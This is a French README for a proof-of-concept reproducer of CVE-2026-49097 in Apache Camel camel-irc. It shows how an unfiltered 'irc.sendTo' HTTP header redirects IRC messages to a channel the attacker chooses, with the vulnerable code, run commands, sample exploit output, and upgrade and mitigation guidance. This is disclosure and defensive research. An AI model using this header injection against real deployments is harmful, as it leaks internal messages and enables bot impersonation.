
Reproducteur de PoC pour CVE-2026-49097 (Apache Camel camel-irc) : l'en-tête irc.sendTo sans préfixe Camel contourne le filtre d'en-têtes HTTP et remplace le canal configuré du producteur, redirigeant un message IRC vers une destination choisie par l'attaquant. Corrigé dans les versions 4.14.8/4.18.3/4.21.0.
Ce projet démontre une injection d'en-tête de message dans le composant camel-irc d'Apache Camel, référencée sous
CVE-2026-49097. IrcProducer lit l'en-tête irc.sendTo pour choisir la destination du message IRC sortant ;
lorsqu'il est présent, il remplace la liste de canaux configurée du point de terminaison :
// IrcProducer.process (affected 4.18.2)
final String sendTo = exchange.getIn().getHeader(IrcConstants.IRC_SEND_TO, String.class); // "irc.sendTo"
...
} else if (sendTo != null) {
connection.doPrivmsg(sendTo, msg); // attacker-chosen destination
} else {
for (IrcChannel channel : getEndpoint().getConfiguration().getChannelList()) {
connection.doPrivmsg(channel.getName(), msg); // the intended, configured channel(s)
}
}
La constante d'en-tête IRC_SEND_TO a pour valeur simple irc.sendTo. Comme elle ne commence pas par le
préfixe Camel / camel, HttpHeaderFilterStrategy — qui ne bloque que l'espace de noms des en-têtes Camel à la
frontière HTTP — la laisse passer d'une requête HTTP entrante directement dans l'Exchange.
Dans une route qui fait le pont entre un consommateur HTTP (par exemple platform-http) et un producteur irc:,
n'importe quel client HTTP peut donc fournir irc.sendTo et rediriger le message vers un canal ou un pseudo IRC
arbitraire, exfiltrant un contenu destiné à un canal interne vers une destination surveillée par l'attaquant, ou
se faisant passer pour le bot dans un autre canal. Neuf autres constantes irc.* ont été renommées dans le même
correctif ; irc.sendTo est celle directement exploitable.
Cette preuve de concept (PoC) démontre l'impact sous la forme d'une redirection de message / divulgation d'informations (CWE-20 → CWE-74).
Avis de sécurité : https://camel.apache.org/security/CVE-2026-49097.html
Le correctif renomme les dix constantes d'en-tête
irc.*selon la conventionCamelIrc*(par exempleirc.sendTo→CamelIrcSendTo), afin qu'elles soient filtrées à la frontière HTTP comme tous les autres en-têtes de contrôle Camel. Même famille que CVE-2025-27636, CVE-2026-46454 et CVE-2026-48206. Remarque :camel-ircest obsolète à partir de 4.21.0.
La vulnérabilité réside entièrement dans la sélection de destination de IrcProducer ; la socket IRC n'est que le
transport. Ce reproducteur exécute le vrai IrcProducer et la vraie classe IRCConnection d'irclib,
sous-classée pour que sa méthode send(...) (par laquelle transitent toutes les commandes do* — y compris
doPrivmsg —) enregistre la cible du PRIVMSG au lieu d'écrire sur une socket. Un petit composant irc personnalisé
fournit cette connexion d'enregistrement. Aucun réseau IRC n'est contacté.
from("platform-http:/notify")
.to("irc:ircnet:6667?nickname=notifierbot&channels=%23alerts&commandTimeout=100");
Un point de terminaison « notify » qui transmet vers un canal interne fixe #alerts. Il n'y a aucun paramètre de destination
dans l'API HTTP — l'auteur suppose que le client ne peut pas choisir le canal. L'attaquant définit irc.sendTo et
le bot publie dans un canal choisi par l'attaquant.
CVE-2026-49097/
├── pom.xml # camel-platform-http + camel-irc 4.18.2 (irclib 1.10)
├── Dockerfile
├── docker-compose.yml # single self-contained service
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── RecordingIRCConnection.java # real IRCConnection subclass; records PRIVMSG targets, no socket
│ ├── RecordingIrcComponent.java # hands out the recording connection
│ ├── IrcComponentConfig.java # registers it under the 'irc' scheme
│ ├── IrcRecorder.java # captures the last delivered target + text
│ ├── VictimRoute.java # platform-http:/notify -> irc:...#alerts
│ └── ExploitController.java # attacker: injects irc.sendTo=#exfil-channel
└── resources/
└── application.properties
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
=== CVE-2026-49097 — camel-irc irc.sendTo header injection (message redirection) ===
Route intent: POST /notify -> IRC channel #alerts (fixed in the endpoint config)
1) Legitimate POST /notify (no irc.sendTo header)
IRC message delivered to: #alerts
text: Revenue report Q3: $4.2M (internal distribution only)
2) Injected POST /notify with header 'irc.sendTo: #exfil-channel'
IRC message delivered to: #exfil-channel
text: Revenue report Q3: $4.2M (internal distribution only)
>>> PROVEN: an inbound HTTP header (irc.sendTo) passed the Camel HTTP header filter and
>>> overrode the producer's configured channel, sending the internal notification to an
>>> attacker-chosen IRC destination (exfiltration / bot impersonation): true
Mettez à niveau vers 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23629). Après la mise à niveau, les routes qui définissent
la destination IRC via un en-tête doivent utiliser le nom CamelIrcSendTo. Remarque : camel-irc est obsolète à
partir de 4.21.0.
En attendant la mise à niveau, supprimez les en-têtes de contrôle camel-irc de toute entrée non fiable avant le
producteur irc: (par exemple removeHeaders("irc.*")), et définissez la destination à partir d'une source de
confiance.
Ce reproducteur est fourni uniquement pour la recherche en sécurité et les tests autorisés, pour une vulnérabilité publiquement divulguée et corrigée. Ne l'utilisez pas contre des systèmes sans autorisation explicite.
| Propriété | Valeur |
|---|
| Composant | camel-irc |
| Classe affectée | org.apache.camel.component.irc.IrcProducer qui lit IrcConstants.IRC_SEND_TO ("irc.sendTo") |
| CWE | CWE-20 (Validation incorrecte des entrées) / CWE-74 (Injection) |
| Impact | Redirection d'un message IRC sortant vers un canal/pseudo choisi par l'attaquant (exfiltration, usurpation d'identité) |
| Conditions préalables | Une route fait le pont entre un consommateur HTTP et un producteur irc: ; non authentifié lorsque le consommateur est |
| Versions affectées | De 4.0.0 à 4.14.8 exclu, de 4.15.0 à 4.18.3 exclu, de 4.19.0 à 4.21.0 exclu |
| Versions corrigées | 4.14.8, 4.18.3, 4.21.0 |
| JIRA | CAMEL-23629 (PR apache/camel#23594) |
| Crédit | Yu Bao (PayPal) |